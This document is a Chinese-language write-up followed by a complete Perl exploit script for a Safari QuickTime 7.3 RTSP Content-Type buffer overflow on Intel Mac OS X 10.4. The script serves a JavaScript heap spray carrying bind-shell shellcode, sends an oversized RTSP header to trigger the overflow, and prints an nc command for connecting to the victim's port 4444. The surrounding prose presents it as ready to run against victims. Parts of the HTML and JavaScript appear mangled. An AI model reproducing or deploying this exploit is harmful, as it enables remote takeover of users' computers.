这是一个针对 Safari QuickTime 7.3 及更早版本的 RTSP Content-Type 缓冲区溢出漏洞的利用脚本,由安全研究员 krafty 编写。它在 Mac OS X (Intel) 10.4 上测试通过,攻击者只需要让受害者访问一个特定的 HTTP 服务器(地址通常是 https://server:8080/),就能触发漏洞,并在目标机器上绑定一个监听 4444 端口的 shell。
脚本的核心思路是利用 Ja vaScript 堆喷色技术填充内存,然后操纵 QuickTime 的 RTSP 解析过程,将精心构造的 shellcode 写入可执行区域。这里使用的 shellcode 会执行一个经典的“绑定 shell”操作——受害者的机器会监听 4444 端口,攻击者可以用 nc 连接上去,获得远程控制权。
作者 krafty 在注释中向 sk、halvar、grugq 以及所有秉持道德的黑客们致意,特别感谢 ddz 在 OS X 技巧上的帮助。他还顺带吐槽了那些靠倒卖漏洞赚钱的中间商(ZDI、WabiSabiLabi 等等),并表示 milw0rm 和 packetstorm 才是真正该被记住的安全社区。他甚至用了一个苹果式的冷笑话解释为什么这个 exploit 叫 “Quickbite”:“What's worse than biting into an apple and finding a worm? … Finding half a worm.”
整个攻击流程非常简洁:Perl 脚本启动一个 HTTP+RTSP 混合服务器,当浏览器请求页面时,返回一个嵌入了 Ja vaScript 的 HTML;Ja vaScript 负责堆喷色并创建一个指向本地 RTSP 服务的 EMBED 标签;随后浏览器会向同一服务器发送 RTSP DESCRIBE 请求,服务器返回恶意构造的 Content-Type 头部(超大缓冲区),触发 QuickTime 的溢出,最终执行 shellcode。
下面就是完整的 Perl 实现,所有关键变量和载荷都已经内嵌其中,直接运行即可(需要在目标网络中可访问的位置启动):
#!/usr/bin/perl
#
# quickbite.pl
#
# Safari Quicktime <= 7.3 RTSP Content-Type overflow exploit
# for Mac OS X (Intel)
#
# Tested with OS X 10.4.
# On victim, browse to https://server:8080/
# Binds shell on port 4444.
#
# by krafty
#
# greets to sk, halvar, grugq, and all the ethnical hackers
# extra thanks to ddz for osx hackery
# sec-con greets to secwest, blackhat, hitb, hacklu, itu, xcon, syscan, poc
# sux to exploit traders - ZDI, WabiSabiLabi, and all you h0arders.
# milw0rm and packetstorm rule
# Bring back the days of technotronic and r00tshell! Freedom.
#
# Why is this exploit called "Quickbite"? Here's a dumb Apple joke:
# "What's worse than biting into an apple and finding a worm?"
# "Finding half a worm".
use Socket;
use IO::Handle;
use constant MY_HTTP_PORT => 8080;
$shellcode = "%uc031%u6850%u02ff%u5c11%ue789%u6a50%u6a01%u6a02%ub010%ucd61%u5780%u5050%u686a%ucd58%u8980%uec47%u6ab0%u80cd%u1eb0%u80cd%u5050%u5a6a%ucd58%uff80%ue44f%uf679%u6850%u2f2f%u6873%u2f68%u6962%u896e%u50e3%u5454%u5053%u3bb0%u80cd";
$buf = chr(0x11) x 6000;
# don't touch anything below this line
$html = <
var prefix = unescape("%u3166%uB0C0%uCD42%uFE80%u3CC0%u7501%uB004%uCD01%u9080");
var shellcode = unescape("$shellcode");
shellcode = prefix + shellcode;
var spray = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
do {
spray += spray;
} while(spray.length < 0xc0000);
memory = new Array();
for(i = 0; i < 50; i++)
memory[i] = spray + shellcode;
var url = "rtsp://" + location.host + "/x.mp3";
document.write("");
ENDHTML
$rtsp_body =
"v=0\r\n" .
"o=- 16689332712 1 IN IP4 0.0.0.0\r\n" .
"s=MPEG-1 or 2 Audio\r\n" .
"i=1.mp3\r\n" .
"t=0 0\r\n" .
"a=tool:hello\r\n" .
"a=type:broadcast\r\n" .
"a=control:*\r\n" .
"a=range:npt=0-213.077\r\n" .
"a=x-qt-text-nam:MPEG-1 or 2 Audio\r\n" .
"a=x-qt-text-inf:1.mp3\r\n" .
"m=audio 0 RTP/A VP 14\r\n" .
"c=IN IP4 0.0.0.0\r\n" .
"a=control:track1\r\n";
$content_length = length($rtsp_body);
$rtsp_header =
"RTSP/1.0 200 OK\r\n" .
"CSeq: 1\r\n" .
"Date: 0x00 :P\r\n" .
"Content-Base: rtsp://0.0.0.0/x.mp3/\r\n" .
"Content-Type: $buf\r\n" .
"Content-Length: $content_length\r\n\r\n";
$rtsp = $rtsp_header . $rtsp_body;
$http_header = "HTTP/1.1 200 OK\nContent-type: text/html\n\n";
$| = 1;
my $port = MY_HTTP_PORT;
my $protocol = getprotobyname('tcp');
socket(SOCK, AF_INET, SOCK_STREAM, $protocol) or die "socket() failed: $!";
setsockopt(SOCK,SOL_SOCKET,SO_REUSEADDR,1) or die "Can't set SO_REUSEADDR: $!";
my $my_addr = sockaddr_in($port,INADDR_ANY);
bind(SOCK,$my_addr) or die "bind() failed: $!";
listen(SOCK,SOMAXCONN) or die "listen() failed: $!";
warn "waiting for incoming connections on port $port...\n";
$repeat = 1;
$victim = inet_aton("0.0.0.0");
while($repeat) {
next unless my $remote_addr = accept(SESSION,SOCK);
my ($port,$hisaddr) = sockaddr_in($remote_addr);
warn "Connection from [",inet_ntoa($hisaddr),",$port]\n";
$victim = $hisaddr;
SESSION->autoflush(1);
$request = "";
while() {
$request_line = $_;
$request .= $request_line;
chomp($request_line);
if($request_line =~ /DESCRIBE rtsp/) {
$repeat = 0;
}
$x = length($request_line);
if($x <= 1) {
last;
}
}
print STDERR $request;
if($repeat) {
print SESSION $http_header . $html;
}
else {
print SESSION $rtsp;
}
warn "Connection from [",inet_ntoa($hisaddr),",$port] finished\n";
close SESSION;
}
print "Connect to ".inet_ntoa($victim).":4444 after 5 seconds\n";
print "nc -nvv ".inet_ntoa($victim)." 4444\nEnjoy!\n";
运行脚本后,它会监听 8080 端口,等受害者访问页面就会自动攻击。攻击成功(即受害者浏览器发送了 RTSP DESCRIBE 请求)后,脚本会在 5 秒后打印出目标 IP 和连接命令,然后用 nc 连接即可获得 shell。注意这个 exploit 仅适用于 Intel 架构的 Mac OS X 10.4,其他版本或系统可能需要调整 shellcode 和偏移量。
